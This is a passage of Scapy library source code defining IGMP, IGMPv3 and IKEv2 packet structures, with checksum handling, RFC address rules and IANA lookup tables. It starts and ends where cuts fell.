message format http://www.faqs.org/rfcs/rfc2236.html """ name = "IGMP" igmptypes = {0x11: "Group Membership Query", 0x12: "Version 1 - Membership Report", 0x16: "Version 2 - Membership Report", 0x17: "Leave Group"} fields_desc = [ByteEnumField("type", 0x11, igmptypes), ByteField("mrcode", 20), XShortField("chksum", None), IPField("gaddr", "0.0.0.0")] def post_build(self, p, pay): """Called implicitly before a packet is sent to compute and place IGMP checksum. Parameters: self The instantiation of an IGMP class p The IGMP message in hex in network byte order pay Additional payload for the IGMP message """ p += pay if self.chksum is None: ck = checksum(p) p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:] return p @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 4: from scapy.contrib.igmpv3 import IGMPv3 if orb(_pkt[0]) in [0x22, 0x30, 0x31, 0x32]: return IGMPv3 if orb(_pkt[0]) == 0x11 and len(_pkt) >= 12: return IGMPv3 return IGMP def igmpize(self): """Called to explicitly fixup the packet according to the IGMP RFC The rules are: - General: 1. the Max Response time is meaningful only in Membership Queries and should be zero - IP: 1. Send General Group Query to 224.0.0.1 (all systems) 2. Send Leave Group to 224.0.0.2 (all routers) 3a.Otherwise send the packet to the group address 3b.Send reports/joins to the group address 4. ttl = 1 (RFC 2236, section 2) 5. send the packet with the router alert IP option (RFC 2236, section 2) - Ether: 1. Recalculate destination Returns: True The tuple ether/ip/self passed all check and represents a proper IGMP packet. False One of more validation checks failed and no fields were adjusted. The function will examine the IGMP message to assure proper format. Corrections will be attempted if possible. The IP header is then properly adjusted to ensure correct formatting and assignment. The Ethernet header is then adjusted to the proper IGMP packet format. """ from scapy.contrib.igmpv3 import IGMPv3 gaddr = self.gaddr if hasattr(self, "gaddr") and self.gaddr else "0.0.0.0" # noqa: E501 underlayer = self.underlayer if self.type not in [0x11, 0x30]: # General Rule 1 # noqa: E501 self.mrcode = 0 if isinstance(underlayer, IP): if (self.type == 0x11): if (gaddr == "0.0.0.0"): underlayer.dst = "224.0.0.1" # IP rule 1 # noqa: E501 elif isValidMCAddr(gaddr): underlayer.dst = gaddr # IP rule 3a # noqa: E501 else: warning("Invalid IGMP Group Address detected !") return False elif ((self.type == 0x17) and isValidMCAddr(gaddr)): underlayer.dst = "224.0.0.2" # IP rule 2 # noqa: E501 elif ((self.type == 0x12) or (self.type == 0x16)) and (isValidMCAddr(gaddr)): # noqa: E501 underlayer.dst = gaddr # IP rule 3b # noqa: E501 elif (self.type in [0x11, 0x22, 0x30, 0x31, 0x32] and isinstance(self, IGMPv3)): pass else: warning("Invalid IGMP Type detected !") return False if not any(isinstance(x, IPOption_Router_Alert) for x in underlayer.options): # noqa: E501 underlayer.options.append(IPOption_Router_Alert()) underlayer.ttl = 1 # IP rule 4 _root = self.firstlayer() if _root.haslayer(Ether): # Force recalculate Ether dst _root[Ether].dst = getmacbyip(underlayer.dst) # Ether rule 1 # noqa: E501 if isinstance(self, IGMPv3): self.encode_maxrespcode() return True def mysummary(self): """Display a summary of the IGMP object.""" if isinstance(self.underlayer, IP): return self.underlayer.sprintf("IGMP: %IP.src% > %IP.dst% %IGMP.type% %IGMP.gaddr%") # noqa: E501 else: return self.sprintf("IGMP %IGMP.type% %IGMP.gaddr%") bind_layers(IP, IGMP, frag=0, proto=2, ttl=1) scapy-2.4.4/scapy/contrib/igmpv3.py000066400000000000000000000145421372370053500172110ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Internet Group Management Protocol v3 (IGMPv3) # scapy.contrib.status = loads from __future__ import print_function from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \ FieldListField, IPField, PacketListField, ShortField, XShortField from scapy.compat import orb from scapy.layers.inet import IP from scapy.contrib.igmp import IGMP from scapy.config import conf """ Based on the following references http://www.iana.org/assignments/igmp-type-numbers http://www.rfc-editor.org/rfc/pdfrfc/rfc3376.txt.pdf """ # See RFC3376, Section 4. Message Formats for definitions of proper IGMPv3 message format # noqa: E501 # http://www.faqs.org/rfcs/rfc3376.html # # See RFC4286, For definitions of proper messages for Multicast Router Discovery. # noqa: E501 # http://www.faqs.org/rfcs/rfc4286.html # class IGMPv3(IGMP): """IGMP Message Class for v3. This class is derived from class Packet. The fields defined below are a direct interpretation of the v3 Membership Query Message. Fields 'type' through 'qqic' are directly assignable. For 'numsrc', do not assign a value. Instead add to the 'srcaddrs' list to auto-set 'numsrc'. To assign values to 'srcaddrs', use the following methods:: c = IGMPv3() c.srcaddrs = ['1.2.3.4', '5.6.7.8'] c.srcaddrs += ['192.168.10.24'] At this point, 'c.numsrc' is three (3) 'chksum' is automagically calculated before the packet is sent. 'mrcode' is also the Advertisement Interval field """ name = "IGMPv3" igmpv3types = {0x11: "Membership Query", 0x22: "Version 3 Membership Report", 0x30: "Multicast Router Advertisement", 0x31: "Multicast Router Solicitation", 0x32: "Multicast Router Termination"} fields_desc = [ByteEnumField("type", 0x11, igmpv3types), ByteField("mrcode", 20), XShortField("chksum", None)] def encode_maxrespcode(self): """Encode and replace the mrcode value to its IGMPv3 encoded time value if needed, # noqa: E501 as specified in rfc3376#section-4.1.1. If value < 128, return the value specified. If >= 128, encode as a floating # noqa: E501 point value. Value can be 0 - 31744. """ value = self.mrcode if value < 128: code = value elif value > 31743: code = 255 else: exp = 0 value >>= 3 while(value > 31): exp += 1 value >>= 1 exp <<= 4 code = 0x80 | exp | (value & 0x0F) self.mrcode = code def mysummary(self): """Display a summary of the IGMPv3 object.""" if isinstance(self.underlayer, IP): return self.underlayer.sprintf("IGMPv3: %IP.src% > %IP.dst% %IGMPv3.type%") # noqa: E501 else: return self.sprintf("IGMPv3 %IGMPv3.type%") @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 4: if orb(_pkt[0]) in [0x12, 0x16, 0x17]: return IGMP elif orb(_pkt[0]) == 0x11 and len(_pkt) < 12: return IGMP return IGMPv3 class IGMPv3mq(Packet): """IGMPv3 Membership Query. Payload of IGMPv3 when type=0x11""" name = "IGMPv3mq" fields_desc = [IPField("gaddr", "0.0.0.0"), BitField("resv", 0, 4), BitField("s", 0, 1), BitField("qrv", 0, 3), ByteField("qqic", 0), FieldLenField("numsrc", None, count_of="srcaddrs"), FieldListField("srcaddrs", None, IPField("sa", "0.0.0.0"), count_from=lambda x: x.numsrc)] # noqa: E501 class IGMPv3gr(Packet): """IGMP Group Record for IGMPv3 Membership Report This class is derived from class Packet and should be added in the records of an instantiation of class IGMPv3mr. """ name = "IGMPv3gr" igmpv3grtypes = {1: "Mode Is Include", 2: "Mode Is Exclude", 3: "Change To Include Mode", 4: "Change To Exclude Mode", 5: "Allow New Sources", 6: "Block Old Sources"} fields_desc = [ByteEnumField("rtype", 1, igmpv3grtypes), ByteField("auxdlen", 0), FieldLenField("numsrc", None, count_of="srcaddrs"), IPField("maddr", "0.0.0.0"), FieldListField("srcaddrs", [], IPField("sa", "0.0.0.0"), count_from=lambda x: x.numsrc)] # noqa: E501 def mysummary(self): """Display a summary of the IGMPv3 group record.""" return self.sprintf("IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%") # noqa: E501 def default_payload_class(self, payload): return conf.padding_layer class IGMPv3mr(Packet): """IGMP Membership Report extension for IGMPv3. Payload of IGMPv3 when type=0x22""" name = "IGMPv3mr" fields_desc = [XShortField("res2", 0), FieldLenField("numgrp", None, count_of="records"), PacketListField("records", [], IGMPv3gr, count_from=lambda x: x.numgrp)] # noqa: E501 class IGMPv3mra(Packet): """IGMP Multicast Router Advertisement extension for IGMPv3. Payload of IGMPv3 when type=0x30""" name = "IGMPv3mra" fields_desc = [ShortField("qryIntvl", 0), ShortField("robust", 0)] bind_layers(IP, IGMPv3, frag=0, proto=2, ttl=1, tos=0xc0, dst='224.0.0.22') bind_layers(IGMPv3, IGMPv3mq, type=0x11) bind_layers(IGMPv3, IGMPv3mr, type=0x22, mrcode=0x0) bind_layers(IGMPv3, IGMPv3mra, type=0x30) scapy-2.4.4/scapy/contrib/ikev2.py000066400000000000000000000755141372370053500170320ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Internet Key Exchange v2 (IKEv2) # scapy.contrib.status = loads import logging import struct # Modified from the original ISAKMP code by Yaron Sheffer , June 2010. # noqa: E501 from scapy.packet import Packet, bind_layers, split_layers, Raw from scapy.fields import ByteEnumField, ByteField, ConditionalField, \ FieldLenField, FlagsField, IP6Field, IPField, IntField, MultiEnumField, \ PacketField, PacketLenField, PacketListField, ShortEnumField, ShortField, \ StrFixedLenField, StrLenField, X3BytesField, XByteField from scapy.layers.x509 import X509_Cert, X509_CRL from scapy.layers.inet import IP, UDP from scapy.layers.isakmp import ISAKMP from scapy.sendrecv import sr from scapy.config import conf from scapy.volatile import RandString # see http://www.iana.org/assignments/ikev2-parameters for details IKEv2AttributeTypes = {"Encryption": (1, {"DES-IV64": 1, "DES": 2, "3DES": 3, "RC5": 4, "IDEA": 5, "CAST": 6, "Blowfish": 7, "3IDEA": 8, "DES-IV32": 9, "AES-CBC": 12, "AES-CTR": 13, "AES-CCM-8": 14, "AES-CCM-12": 15, "AES-CCM-16": 16, "AES-GCM-8ICV": 18, "AES-GCM-12ICV": 19, "AES-GCM-16ICV": 20, "Camellia-CBC": 23, "Camellia-CTR": 24, "Camellia-CCM-8ICV": 25, "Camellia-CCM-12ICV": 26, "Camellia-CCM-16ICV": 27, }, 0), "PRF": (2, {"PRF_HMAC_MD5": 1, "PRF_HMAC_SHA1": 2, "PRF_HMAC_TIGER": 3, "PRF_AES128_XCBC": 4, "PRF_HMAC_SHA2_256": 5, "PRF_HMAC_SHA2_384": 6, "PRF_HMAC_SHA2_512": 7, "PRF_AES128_CMAC": 8, }, 0), "Integrity": (3, {"HMAC-MD5-96": 1, "HMAC-SHA1-96": 2, "DES-MAC": 3, "KPDK-MD5": 4, "AES-XCBC-96": 5, "HMAC-MD5-128": 6, "HMAC-SHA1-160": 7, "AES-CMAC-96": 8, "AES-128-GMAC": 9, "AES-192-GMAC": 10, "AES-256-GMAC": 11, "SHA2-256-128": 12, "SHA2-384-192": 13, "SHA2-512-256": 14, }, 0), "GroupDesc": (4, {"768MODPgr": 1, "1024MODPgr": 2, "1536MODPgr": 5, "2048MODPgr": 14, "3072MODPgr": 15, "4096MODPgr": 16, "6144MODPgr": 17, "8192MODPgr": 18, "256randECPgr": 19, "384randECPgr": 20, "521randECPgr": 21, "1024MODP160POSgr": 22, "2048MODP224POSgr": 23, "2048MODP256POSgr": 24, "192randECPgr": 25, "224randECPgr": 26, }, 0), "Extended Sequence Number": (5, {"No ESN": 0, "ESN": 1}, 0), } IKEv2AuthenticationTypes = { 0: "Reserved", 1: "RSA Digital Signature", 2: "Shared Key Message Integrity Code", 3: "DSS Digital Signature", 9: "ECDSA with SHA-256 on the P-256 curve", 10: "ECDSA with SHA-384 on the P-384 curve", 11: "ECDSA with SHA-512 on the P-521 curve", 12: "Generic Secure Password Authentication Method", 13: "NULL Authentication", 14: "Digital Signature" } IKEv2NotifyMessageTypes = { 1: "UNSUPPORTED_CRITICAL_PAYLOAD", 4: "INVALID_IKE_SPI", 5: "INVALID_MAJOR_VERSION", 7: "INVALID_SYNTAX", 9: "INVALID_MESSAGE_ID", 11: "INVALID_SPI", 14: "NO_PROPOSAL_CHOSEN", 17: "INVALID_KE_PAYLOAD", 24: "AUTHENTICATION_FAILED", 34: "SINGLE_PAIR_REQUIRED", 35: "NO_ADDITIONAL_SAS", 36: "INTERNAL_ADDRESS_FAILURE", 37: "FAILED_CP_REQUIRED", 38: "TS_UNACCEPTABLE", 39: "INVALID_SELECTORS", 40: "UNACCEPTABLE_ADDRESSES", 41: "UNEXPECTED_NAT_DETECTED", 42: "USE_ASSIGNED_HoA", 43: "TEMPORARY_FAILURE", 44: "CHILD_SA_NOT_FOUND", 45: "INVALID_GROUP_ID", 46: "AUTHORIZATION_FAILED", 16384: "INITIAL_CONTACT", 16385: "SET_WINDOW_SIZE", 16386: "ADDITIONAL_TS_POSSIBLE", 16387: "IPCOMP_SUPPORTED", 16388: "NAT_DETECTION_SOURCE_IP", 16389: "NAT_DETECTION_DESTINATION_IP", 16390: "COOKIE", 16391: "USE_TRANSPORT_MODE", 16392: "HTTP_CERT_LOOKUP_SUPPORTED", 16393: "REKEY_SA", 16394: "ESP_TFC_PADDING_NOT_SUPPORTED", 16395: "NON_FIRST_FRAGMENTS_ALSO", 16396: "MOBIKE_SUPPORTED", 16397: "ADDITIONAL_IP4_ADDRESS", 16398: "ADDITIONAL_IP6_ADDRESS", 16399: "NO_ADDITIONAL_ADDRESSES", 16400: "UPDATE_SA_ADDRESSES", 16401: "COOKIE2", 16402: "NO_NATS_ALLOWED", 16403: "AUTH_LIFETIME", 16404: "MULTIPLE_AUTH_SUPPORTED", 16405: "ANOTHER_AUTH_FOLLOWS", 16406: "REDIRECT_SUPPORTED", 16407: "REDIRECT", 16408: "REDIRECTED_FROM", 16409: "TICKET_LT_OPAQUE", 16410: "TICKET_REQUEST", 16411: "TICKET_ACK", 16412: "TICKET_NACK", 16413: "TICKET_OPAQUE", 16414: "LINK_ID", 16415: "USE_WESP_MODE", 16416: "ROHC_SUPPORTED", 16417: "EAP_ONLY_AUTHENTICATION", 16418: "CHILDLESS_IKEV2_SUPPORTED", 16419: "QUICK_CRASH_DETECTION", 16420: "IKEV2_MESSAGE_ID_SYNC_SUPPORTED", 16421: "IPSEC_REPLAY_COUNTER_SYNC_SUPPORTED", 16422: "IKEV2_MESSAGE_ID_SYNC", 16423: "IPSEC_REPLAY_COUNTER_SYNC", 16424: "SECURE_PASSWORD_METHODS", 16425: "PSK_PERSIST", 16426: "PSK_CONFIRM", 16427: "ERX_SUPPORTED", 16428: "IFOM_CAPABILITY", 16429: "SENDER_REQUEST_ID", 16430: "IKEV2_FRAGMENTATION_SUPPORTED", 16431: "SIGNATURE_HASH_ALGORITHMS", 16432: "CLONE_IKE_SA_SUPPORTED", 16433: "CLONE_IKE_SA" } IKEv2CertificateEncodings = { 1: "PKCS #7 wrapped X.509 certificate", 2: "PGP Certificate", 3: "DNS Signed Key", 4: "X.509 Certificate - Signature", 6: "Kerberos Token", 7: "Certificate Revocation List (CRL)", 8: "Authority Revocation List (ARL)", 9: "SPKI Certificate", 10: "X.509 Certificate - Attribute", 11: "Raw RSA Key", 12: "Hash and URL of X.509 certificate", 13: "Hash and URL of X.509 bundle" } IKEv2TrafficSelectorTypes = { 7: "TS_IPV4_ADDR_RANGE", 8: "TS_IPV6_ADDR_RANGE", 9: "TS_FC_ADDR_RANGE" } IPProtocolIDs = { 0: "All protocols", 1: "Internet Control Message Protocol", 2: "Internet Group Management Protocol", 3: "Gateway-to-Gateway Protocol", 4: "IP in IP (encapsulation)", 5: "Internet Stream Protocol", 6: "Transmission Control Protocol", 7: "Core-based trees", 8: "Exterior Gateway Protocol", 9: "Interior Gateway Protocol (any private interior gateway (used by Cisco for their IGRP))", # noqa: E501 10: "BBN RCC Monitoring", 11: "Network Voice Protocol", 12: "Xerox PUP", 13: "ARGUS", 14: "EMCON", 15: "Cross Net Debugger", 16: "Chaos", 17: "User Datagram Protocol", 18: "Multiplexing", 19: "DCN Measurement Subsystems", 20: "Host Monitoring Protocol", 21: "Packet Radio Measurement", 22: "XEROX NS IDP", 23: "Trunk-1", 24: "Trunk-2", 25: "Leaf-1", 26: "Leaf-2", 27: "Reliable Datagram Protocol", 28: "Internet Reliable Transaction Protocol", 29: "ISO Transport Protocol Class 4", 30: "Bulk Data Transfer Protocol", 31: "MFE Network Services Protocol", 32: "MERIT Internodal Protocol", 33: "Datagram Congestion Control Protocol", 34: "Third Party Connect Protocol", 35: "Inter-Domain Policy Routing Protocol", 36: "Xpress Transport Protocol", 37: "Datagram Delivery Protocol", 38: "IDPR Control Message Transport Protocol", 39: "TP++ Transport Protocol", 40: "IL Transport Protocol", 41: "IPv6 Encapsulation", 42: "Source Demand Routing Protocol", 43: "Routing Header for IPv6", 44: "Fragment Header for IPv6", 45: "Inter-Domain Routing Protocol", 46: "Resource Reservation Protocol", 47: "Generic Routing Encapsulation", 48: "Mobile Host Routing Protocol", 49: "BNA", 50: "Encapsulating Security Payload", 51: "Authentication Header", 52: "Integrated Net Layer Security Protocol", 53: "SwIPe", 54: "NBMA Address Resolution Protocol", 55: "IP Mobility (Min Encap)", 56: "Transport Layer Security Protocol (using Kryptonet key management)", 57: "Simple Key-Management for Internet Protocol", 58: "ICMP for IPv6", 59: "No Next Header for IPv6", 60: "Destination Options for IPv6", 61: "Any host internal protocol", 62: "CFTP", 63: "Any local network", 64: "SATNET and Backroom EXPAK", 65: "Kryptolan", 66: "MIT Remote Virtual Disk Protocol", 67: "Internet Pluribus Packet Core", 68: "Any distributed file system", 69: "SATNET Monitoring", 70: "VISA Protocol", 71: "Internet Packet Core Utility", 72: "Computer Protocol Network Executive", 73: "Computer Protocol Heart Beat", 74: "Wang Span Network", 75: "Packet Video Protocol", 76: "Backroom SATNET Monitoring", 77: "SUN ND PROTOCOL-Temporary", 78: "WIDEBAND Monitoring", 79: "WIDEBAND EXPAK", 80: "International Organization for Standardization Internet Protocol", 81: "Versatile Message Transaction Protocol", 82: "Secure Versatile Message Transaction Protocol", 83: "VINES", 84: "Internet Protocol Traffic Manager", 85: "NSFNET-IGP", 86: "Dissimilar Gateway Protocol", 87: "TCF", 88: "EIGRP", 89: "Open Shortest Path First", 90: "Sprite RPC Protocol", 91: "Locus Address Resolution Protocol", 92: "Multicast Transport Protocol", 93: "AX.25", 94: "IP-within-IP Encapsulation Protocol", 95: "Mobile Internetworking Control Protocol", 96: "Semaphore Communications Sec. Pro", 97: "Ethernet-within-IP Encapsulation", 98: "Encapsulation Header", 99: "Any private encryption scheme", 100: "GMTP", 101: "Ipsilon Flow Management Protocol", 102: "PNNI over IP", 103: "Protocol Independent Multicast", 104: "IBM's ARIS (Aggregate Route IP Switching) Protocol", 105: "SCPS (Space Communications Protocol Standards)", 106: "QNX", 107: "Active Networks", 108: "IP Payload Compression Protocol", 109: "Sitara Networks Protocol", 110: "Compaq Peer Protocol", 111: "IPX in IP", 112: "Virtual Router Redundancy Protocol, Common Address Redundancy Protocol (not IANA assigned)", # noqa: E501 113: "PGM Reliable Transport Protocol", 114: "Any 0-hop protocol", 115: "Layer Two Tunneling Protocol Version 3", 116: "D-II Data Exchange (DDX)", 117: "Interactive Agent Transfer Protocol", 118: "Schedule Transfer Protocol", 119: "SpectraLink Radio Protocol", 120: "Universal Transport Interface Protocol", 121: "Simple Message Protocol", 122: "Simple Multicast Protocol", 123: "Performance Transparency Protocol", 124: "Intermediate System to Intermediate System (IS-IS) Protocol over IPv4", # noqa: E501 125: "Flexible Intra-AS Routing Environment", 126: "Combat Radio Transport Protocol", 127: "Combat Radio User Datagram", 128: "Service-Specific Connection-Oriented Protocol in a Multilink and Connectionless Environment", # noqa: E501 129: "IPLT", 130: "Secure Packet Shield", 131: "Private IP Encapsulation within IP", 132: "Stream Control Transmission Protocol", 133: "Fibre Channel", 134: "Reservation Protocol (RSVP) End-to-End Ignore", 135: "Mobility Extension Header for IPv6", 136: "Lightweight User Datagram Protocol", 137: "Multiprotocol Label Switching Encapsulated in IP", 138: "MANET Protocols", 139: "Host Identity Protocol", 140: "Site Multihoming by IPv6 Intermediation", 141: "Wrapped Encapsulating Security Payload", 142: "Robust Header Compression", } # the name 'IKEv2TransformTypes' is actually a misnomer (since the table # holds info for all IKEv2 Attribute types, not just transforms, but we'll # keep it for backwards compatibility... for now at least IKEv2TransformTypes = IKEv2AttributeTypes IKEv2TransformNum = {} for n in IKEv2TransformTypes: val = IKEv2TransformTypes[n] tmp = {} for e in val[1]: tmp[val[1][e]] = e IKEv2TransformNum[val[0]] = tmp IKEv2Transforms = {} for n in IKEv2TransformTypes: IKEv2Transforms[IKEv2TransformTypes[n][0]] = n del(n) del(e) del(tmp) del(val) # Note: Transform and Proposal can only be used inside the SA payload IKEv2_payload_type = ["None", "", "Proposal", "Transform"] IKEv2_payload_type.extend([""] * 29) IKEv2_payload_type.extend(["SA", "KE", "IDi", "IDr", "CERT", "CERTREQ", "AUTH", "Nonce", "Notify", "Delete", # noqa: E501 "VendorID", "TSi", "TSr", "Encrypted", "CP", "EAP", "", "", "", "", "Encrypted Fragment"]) # noqa: E501 IKEv2_exchange_type = [""] * 34 IKEv2_exchange_type.extend(["IKE_SA_INIT", "IKE_AUTH", "CREATE_CHILD_SA", "INFORMATIONAL", "IKE_SESSION_RESUME"]) class IKEv2_class(Packet): def guess_payload_class(self, payload): np = self.next_payload logging.debug("For IKEv2_class np=%d" % np) if np == 0: return conf.raw_layer elif np < len(IKEv2_payload_type): pt = IKEv2_payload_type[np] logging.debug(globals().get("IKEv2_payload_%s" % pt, IKEv2_payload)) # noqa: E501 return globals().get("IKEv2_payload_%s" % pt, IKEv2_payload) else: return IKEv2_payload class IKEv2(IKEv2_class): # rfc4306 name = "IKEv2" fields_desc = [ StrFixedLenField("init_SPI", "", 8), StrFixedLenField("resp_SPI", "", 8), ByteEnumField("next_payload", 0, IKEv2_payload_type), XByteField("version", 0x20), ByteEnumField("exch_type", 0, IKEv2_exchange_type), FlagsField("flags", 0, 8, ["res0", "res1", "res2", "Initiator", "Version", "Response", "res6", "res7"]), # noqa: E501 IntField("id", 0), IntField("length", None) # Length of total message: packets + all payloads # noqa: E501 ] def guess_payload_class(self, payload): if self.flags & 1: return conf.raw_layer return IKEv2_class.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, IKEv2): if other.init_SPI == self.init_SPI: return 1 return 0 def post_build(self, p, pay): p += pay if self.length is None: p = p[:24] + struct.pack("!I", len(p)) + p[28:] return p class IKEv2_Key_Length_Attribute(IntField): # We only support the fixed-length Key Length attribute (the only one currently defined) # noqa: E501 def __init__(self, name): IntField.__init__(self, name, 0x800E0000) def i2h(self, pkt, x): return IntField.i2h(self, pkt, x & 0xFFFF) def h2i(self, pkt, x): return IntField.h2i(self, pkt, (x if x is not None else 0) | 0x800E0000) # noqa: E501 class IKEv2_payload_Transform(IKEv2_class): name = "IKE Transform" fields_desc = [ ByteEnumField("next_payload", None, {0: "last", 3: "Transform"}), ByteField("res", 0), ShortField("length", 8), ByteEnumField("transform_type", None, IKEv2Transforms), ByteField("res2", 0), MultiEnumField("transform_id", None, IKEv2TransformNum, depends_on=lambda pkt: pkt.transform_type, fmt="H"), # noqa: E501 ConditionalField(IKEv2_Key_Length_Attribute("key_length"), lambda pkt: pkt.length > 8), # noqa: E501 ] class IKEv2_payload_Proposal(IKEv2_class): name = "IKEv2 Proposal" fields_desc = [ ByteEnumField("next_payload", None, {0: "last", 2: "Proposal"}), ByteField("res", 0), FieldLenField("length", None, "trans", "H", adjust=lambda pkt, x: x + 8 + (pkt.SPIsize if pkt.SPIsize else 0)), # noqa: E501 ByteField("proposal", 1), ByteEnumField("proto", 1, {1: "IKEv2", 2: "AH", 3: "ESP"}), FieldLenField("SPIsize", None, "SPI", "B"), ByteField("trans_nb", None), StrLenField("SPI", "", length_from=lambda pkt: pkt.SPIsize), PacketLenField("trans", conf.raw_layer(), IKEv2_payload_Transform, length_from=lambda pkt: pkt.length - 8 - pkt.SPIsize), # noqa: E501 ] class IKEv2_payload(IKEv2_class): name = "IKEv2 Payload" fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), FlagsField("flags", 0, 8, ["critical", "res1", "res2", "res3", "res4", "res5", "res6", "res7"]), # noqa: E501 FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 4), StrLenField("load", "", length_from=lambda x:x.length - 4), ] class IKEv2_payload_AUTH(IKEv2_class): name = "IKEv2 Authentication" overload_fields = {IKEv2: {"next_payload": 39}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), ByteEnumField("auth_type", None, IKEv2AuthenticationTypes), X3BytesField("res2", 0), StrLenField("load", "", length_from=lambda x:x.length - 8), ] class IKEv2_payload_VendorID(IKEv2_class): name = "IKEv2 Vendor ID" overload_fields = {IKEv2: {"next_payload": 43}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "vendorID", "H", adjust=lambda pkt, x:x + 4), # noqa: E501 StrLenField("vendorID", "", length_from=lambda x:x.length - 4), ] class TrafficSelector(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 16: ts_type = struct.unpack("!B", _pkt[0:1])[0] if ts_type == 7: return IPv4TrafficSelector elif ts_type == 8: return IPv6TrafficSelector elif ts_type == 9: return EncryptedTrafficSelector else: return RawTrafficSelector return IPv4TrafficSelector class IPv4TrafficSelector(TrafficSelector): name = "IKEv2 IPv4 Traffic Selector" fields_desc = [ ByteEnumField("TS_type", 7, IKEv2TrafficSelectorTypes), ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), ShortField("length", 16), ShortField("start_port", 0), ShortField("end_port", 65535), IPField("starting_address_v4", "192.168.0.1"), IPField("ending_address_v4", "192.168.0.255"), ] class IPv6TrafficSelector(TrafficSelector): name = "IKEv2 IPv6 Traffic Selector" fields_desc = [ ByteEnumField("TS_type", 8, IKEv2TrafficSelectorTypes), ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), ShortField("length", 20), ShortField("start_port", 0), ShortField("end_port", 65535), IP6Field("starting_address_v6", "2001::"), IP6Field("ending_address_v6", "2001::"), ] class EncryptedTrafficSelector(TrafficSelector): name = "IKEv2 Encrypted Traffic Selector" fields_desc = [ ByteEnumField("TS_type", 9, IKEv2TrafficSelectorTypes), ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), ShortField("length", 16), ByteField("res", 0), X3BytesField("starting_address_FC", 0), ByteField("res2", 0), X3BytesField("ending_address_FC", 0), ByteField("starting_R_CTL", 0), ByteField("ending_R_CTL", 0), ByteField("starting_type", 0), ByteField("ending_type", 0), ] class RawTrafficSelector(TrafficSelector): name = "IKEv2 Encrypted Traffic Selector" fields_desc = [ ByteEnumField("TS_type", None, IKEv2TrafficSelectorTypes), ByteEnumField("IP_protocol_ID", None, IPProtocolIDs), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 4), PacketField("load", "", Raw) ] class IKEv2_payload_TSi(IKEv2_class): name = "IKEv2 Traffic Selector - Initiator" overload_fields = {IKEv2: {"next_payload": 44}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "traffic_selector", "H", adjust=lambda pkt, x:x + 8), # noqa: E501 ByteField("number_of_TSs", 0), X3BytesField("res2", 0), PacketListField("traffic_selector", None, TrafficSelector, length_from=lambda x:x.length - 8, count_from=lambda x:x.number_of_TSs), # noqa: E501 ] class IKEv2_payload_TSr(IKEv2_class): name = "IKEv2 Traffic Selector - Responder" overload_fields = {IKEv2: {"next_payload": 45}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "traffic_selector", "H", adjust=lambda pkt, x:x + 8), # noqa: E501 ByteField("number_of_TSs", 0), X3BytesField("res2", 0), PacketListField("traffic_selector", None, TrafficSelector, length_from=lambda x:x.length - 8, count_from=lambda x:x.number_of_TSs), # noqa: E501 ] class IKEv2_payload_Delete(IKEv2_class): name = "IKEv2 Vendor ID" overload_fields = {IKEv2: {"next_payload": 42}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "vendorID", "H", adjust=lambda pkt, x:x + 4), # noqa: E501 StrLenField("vendorID", "", length_from=lambda x:x.length - 4), ] class IKEv2_payload_SA(IKEv2_class): name = "IKEv2 SA" overload_fields = {IKEv2: {"next_payload": 33}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "prop", "H", adjust=lambda pkt, x:x + 4), PacketLenField("prop", conf.raw_layer(), IKEv2_payload_Proposal, length_from=lambda x:x.length - 4), # noqa: E501 ] class IKEv2_payload_Nonce(IKEv2_class): name = "IKEv2 Nonce" overload_fields = {IKEv2: {"next_payload": 40}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 4), StrLenField("load", "", length_from=lambda x:x.length - 4), ] class IKEv2_payload_Notify(IKEv2_class): name = "IKEv2 Notify" overload_fields = {IKEv2: {"next_payload": 41}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), ByteEnumField("proto", None, {0: "Reserved", 1: "IKE", 2: "AH", 3: "ESP"}), # noqa: E501 FieldLenField("SPIsize", None, "SPI", "B"), ShortEnumField("type", 0, IKEv2NotifyMessageTypes), StrLenField("SPI", "", length_from=lambda x: 